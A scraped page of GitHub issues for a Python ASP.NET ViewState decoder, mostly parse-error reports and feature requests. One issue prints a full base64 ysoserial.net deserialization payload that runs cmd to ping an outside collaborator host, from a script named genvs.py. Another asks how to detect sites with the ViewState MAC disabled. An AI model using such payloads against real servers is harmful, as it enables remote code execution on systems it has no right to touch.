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View Code? Open in Web Editor NEWASP.NET View State Decoder
License: MIT License
ASP.NET View State Decoder
License: MIT License
When I decode the _viewstate string, report TypeError: unhashable type: 'list'
The string is saved in the attached txt file.
Getting the error viewstate.exceptions.ViewStateException: Unknown marker 12
when decoding a Viewstate from a Mono app.
Here is the Viewstate:
/wEMDAwQAgAADgEMBQEMEAIAAA4DDAUBDBACAAAOBgwFAQwQAgwPAQEEVGV4dAETQWRkIFlvdXIgRmlyc3QgTm90ZQAAAAwFAwwQAgwPAQEHVmlzaWJsZQkAAAAMBQUMEAIMAA8EAQhyZXF1aXJlZAEEdHJ1ZQEEdHlwZQEEdGV4dAELcGxhY2Vob2xkZXIBFlNldCBuYW1lIGZvciB5b3VyIG5vdGUBBWNsYXNzARVmb3JtLWNvbnRyb2wgaW5wdXQtbGcAAAwFBwwQAgwADwMCAwACBAACBwABF1N0b3JlIHNvbWUgc2VjcmV0cyBoZXJlAgkAAQxmb3JtLWNvbnRyb2wAAAwFCQwQAgwADwECCQABFmJ0biBidG4tcHJpbWFyeSBidG4tbGcAAAwFCwwQAgwPAQICAAkPAQIJAAINAAAADAUDDBACDwECAgAJAA4CDAUFDBACDAAPAQIJAAINAAAADAUHDBACDAAPAQIJAAINAAAADAUFDBACDwECAgAJAA4BDAUBDBACDAAPAQIJAAINAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
Traceback (most recent call last):
File "genvs.py", line 56, in <module>
main()
File "genvs.py", line 48, in main
newpayload = gen_shell_payload("ping google.com")
File "genvs.py", line 14, in gen_shell_payload
analyze_vs('/wEyxAcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADmBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBwaW5nIHB3cGRsb2M5YXRzNDJobzk2N3hhMG9nYmQyanM3aC5idXJwY29sbGFib3JhdG9yLm5ldCIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbmNvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4L+sRLt8icO/sVOPISqIdKQ5mjFwM=')
File "genvs.py", line 30, in analyze_vs
vs.decode()
File "/Users/exploitio/Library/Python/3.8/lib/python/site-packages/viewstate/viewstate.py", line 44, in decode
self.decoded, self.remainder = Parser.parse(self.body)
File "/Users/exploitio/Library/Python/3.8/lib/python/site-packages/viewstate/parse.py", line 37, in parse
raise ViewStateException("Unknown marker {}".format(marker))
viewstate.exceptions.ViewStateException: Unknown marker 50
I am decoding ysoserial.net payloads. and I get Unknown marker 50 Error!
Please help me!
Datetime encoding is still unknown, though some test cases do exist:
def test_datetime(self):
vs = ViewState()
vs.raw = b'\xff\x01\x06\x000Po\x9b\x87\xd5\x88'
assert vs.decode() == datetime(2018, 3, 11, 22)
vs.raw = b'\xff\x01\x06\x00\xf0\xb9\x99d\x88\xd5\x88'
assert vs.decode() == datetime(2018, 3, 12, 22)
Proper datetime parsing should be supported
Hi,
I'm trying to decode a ViewState from
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="R764/r3QPGEcug7NDCf691JVWHHD..........
But i get this error
ubuntu@vboxubuntu:~$ BASE64='R764/r3QPGEcug7NDCf691JVWHHD..........
ubuntu@vboxubuntu:~$ echo $BASE64 | python3 -m viewstate
Traceback (most recent call last):
File "/usr/lib/python3.6/runpy.py", line 193, in _run_module_as_main
"__main__", mod_spec)
File "/usr/lib/python3.6/runpy.py", line 85, in _run_code
exec(code, run_globals)
File "/home/ubuntu/.local/lib/python3.6/site-packages/viewstate/__main__.py", line 20, in <module>
main(raw)
File "/home/ubuntu/.local/lib/python3.6/site-packages/viewstate/__main__.py", line 15, in main
pp.pprint(vs.decode())
File "/home/ubuntu/.local/lib/python3.6/site-packages/viewstate/viewstate.py", line 43, in decode
raise ViewStateException('Cannot decode invalid viewstate, bad preamble')
viewstate.exceptions.ViewStateException: Cannot decode invalid viewstate, bad preamble
Although, it works well with the test data
ubuntu@vboxubuntu:~$ BASE64='/wEPBQVhYmNkZQ9nAgE='
ubuntu@vboxubuntu:~$ echo $BASE64 | python3 -m viewstate
('abcde', (True, 1))
Hey,
Great tool it's been really handy but i am trying to work a way to detect when the mac is not enabled but so far kept coming up with ways for false negatives and false positives.
is there a clear way you would suggest? i.e so am looking for when a site has Page.EnableViewStateMac set to false.
Most viewstates have MAC values appended, we should probably support parsing and returning them
Based on the awesome template https://github.com/DalyaG/Sphinx185 by @DalyaG
Hello there,
I'm not familiar AT ALL with viewstate but I needed to decode some viewstate from scrapping.
I have viewstate that seems to be valid as it works with http://viewstatedecoder.azurewebsites.net/
but it doesn't with the library.
It raise an exception:
ViewStateException: Unable to parse remainder of 64615 bytes b'\n\x91\x01\x1e\x04Text\x051<b>Vous n'
Thanks for your time.
Here's the b64 encoded viewstate: https://gist.github.com/yuvadm/09524e56f2c6376e726d4f5b8c87be39
Color parsing (as opposed to simple RGBA values) is still unknown. Color values seems to follow the structure of a 0x0a
marker followed by two bytes, and probably map to a predetermined set of colors.
This is a viewstate from an IIS/7.5 server.
Viewstate:
/wEPDwUJOTM0NDI1NDMxD2QWBGYPFgIeBFRleHQFbTwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj5kAgQQZGQWAgIBD2QWBGYPZBYEZg9kFgIFC3dwOTI5MzI2MjM0D2QWAmYPZBYSAgEPDxYCHwAFE1JldHVybmluZyBDdXN0b21lcnNkZAIDDxYCHwAFbTxkaXYgY2xhc3M9InJjV2VsY29tZSI+UGxlYXNlIGxvZ2luIHVzaW5nIHRoZSB1c2VybmFtZSBhbmQgcGFzc3dvcmQgeW91IHJlY2VpdmVkIHdoZW4geW91IHNpZ25lZCB1cC4gPC9kaXY+DQpkAgUPDxYCHwAFCVVzZXJuYW1lOmRkAgcPDxYCHhBBdXRvQ29tcGxldGVUeXBlCyoqU3lzdGVtLldlYi5VSS5XZWJDb250cm9scy5BdXRvQ29tcGxldGVUeXBlARYCHgxhdXRvY29tcGxldGUFA29mZmQCCQ8PFgIfAAUJUGFzc3dvcmQ6ZGQCCw8PFgIfAQsrBAEWAh8CBQNvZmZkAg0PZBYCAgEPDxYCHwAFHURpZCB5b3UgZm9yZ2V0IHlvdXIgcGFzc3dvcmQ/FgIeB29uY2xpY2sFDXJldHVybiBmYWxzZTtkAg8PZBYCAgMPZBYCAgEPFgIeA3NyYwVDaHR0cHM6Ly9vcmRlcnMuaWdkZ2xhc3MuY29tOjQ0My9lU291cmNlMy8vaW1hZ2VzLy9sb2FkaW5nX0xvZ2luLmdpZmQCFw8WAh8AZWQCAg9kFgQCCQ9kFgwCAQ8PFgIfAAUUU2l0ZSBNb2RlOiBGdWxsIFNpdGVkZAILDw8WAh8AZWRkAhEPEGRkFgBkAhUPEGRkFgBkAhkPEGQQFQMSU2VsZWN0IEEgUGFuZS9ab25lD25ld0N1c3RvbWVyUGFuZRVyZXR1cm5pbmdDdXN0b21lclBhbmUVAxJTZWxlY3QgQSBQYW5lL1pvbmUPbmV3Q3VzdG9tZXJQYW5lFXJldHVybmluZ0N1c3RvbWVyUGFuZRQrAwNnZ2cWAWZkAicPFgIeB1Zpc2libGVoZAILDw8WAh4ISW1hZ2VVcmwFRWh0dHBzOi8vb3JkZXJzLmlnZGdsYXNzLmNvbTo0NDMvZVNvdXJjZTMvL2ltYWdlcy8vbG9hZGluZ19ibG9ja1VJLmdpZmRkAgEPZBYGAgEPDxYCHwVoZBYMAgEPDxYCHwAFBlNlbGVjdGRkAgUPDxYCHwAFBlN1Ym1pdGRkAgcPDxYCHwAFBlNlYXJjaGRkAgkPEGRkFgBkAgsPEGRkFgBkAg8PDxYCHwAFBlNlYXJjaGRkAgIPPCsAEgQAFCsACQ8WAh4OUGFydENocm9tZVR5cGUCAmRkZGQWBB4LQm9yZGVyQ29sb3IKpAEeBF8hU0ICEBYEHghDc3NDbGFzcwUSd2VicGFydF90aXRsZV9oaWRlHwkCAmRkZAIWAh8FaAcWAh8FaBAWBB4LQm9yZGVyU3R5bGULKiVTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLkJvcmRlclN0eWxlAR8JAkBkAgMPPCsAEgQAFCsACQ8WAh8HAgJkZGRkFgQfCAqkAR8JAhAWBB8KBRJ3ZWJwYXJ0X3RpdGxlX2hpZGUfCQICZGRkAhYCHwVoBxYCHwVoEBYEHwsLKwUBHwkCQGRk+ajgpVPQKk0DfqIpz9BVt6PhM+PFyUodqFF0sMA3YVI=
Error:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/lib/python3.11/site-packages/viewstate/viewstate.py", line 44, in decode
self.decoded, self.remainder = Parser.parse(self.body)
^^^^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
return Parser.registry[marker].parse(remain)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 136, in parse
first, remain = Parser.parse(b)
^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
return Parser.registry[marker].parse(remain)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 137, in parse
second, remain = Parser.parse(remain)
^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
return Parser.registry[marker].parse(remain)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 137, in parse
second, remain = Parser.parse(remain)
^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
return Parser.registry[marker].parse(remain)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 202, in parse
val, remain = Parser.parse(remain)
^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
return Parser.registry[marker].parse(remain)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 148, in parse
third, remain = Parser.parse(remain)
^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
return Parser.registry[marker].parse(remain)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 202, in parse
val, remain = Parser.parse(remain)
^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
return Parser.registry[marker].parse(remain)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 137, in parse
second, remain = Parser.parse(remain)
^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
return Parser.registry[marker].parse(remain)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 202, in parse
val, remain = Parser.parse(remain)
^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
return Parser.registry[marker].parse(remain)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 137, in parse
second, remain = Parser.parse(remain)
^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
return Parser.registry[marker].parse(remain)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 202, in parse
val, remain = Parser.parse(remain)
^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
return Parser.registry[marker].parse(remain)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 136, in parse
first, remain = Parser.parse(b)
^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 35, in parse
return Parser.registry[marker].parse(remain)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/lib/python3.11/site-packages/viewstate/parse.py", line 238, in parse
l[idx] = val
~^^^^^
IndexError: list assignment index out of range
Thanks for this package, very useful. I'm having trouble installing it, there doesn't seem to be a PIP package in the rep, and pip install via github fails, is there another installer I should use?
pip install git+git://github.com/yuvadm/viewstate.git
Collecting git+git://github.com/yuvadm/viewstate.git
Cloning git://github.com/yuvadm/viewstate.git to /private/var/folders/xs/wmmjbz4s6mdgcqynwn46qtmr0000gn/T/pip-8t1_p1hd-build
Complete output from command python setup.py egg_info:
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "/private/var/folders/xs/wmmjbz4s6mdgcqynwn46qtmr0000gn/T/pip-8t1_p1hd-build/setup.py", line 3, in <module>
with open(path.join(here, 'README.rst'), encoding='utf-8') as f:
NameError: name 'path' is not defined
It might be useful to optionally return a flattened decoded data structure in cases where we only care about iterating over the values and searching for specific patterns.
It would be nice to be able to decode a viewstate, change some parts of it, and then reserialize it back to base64.
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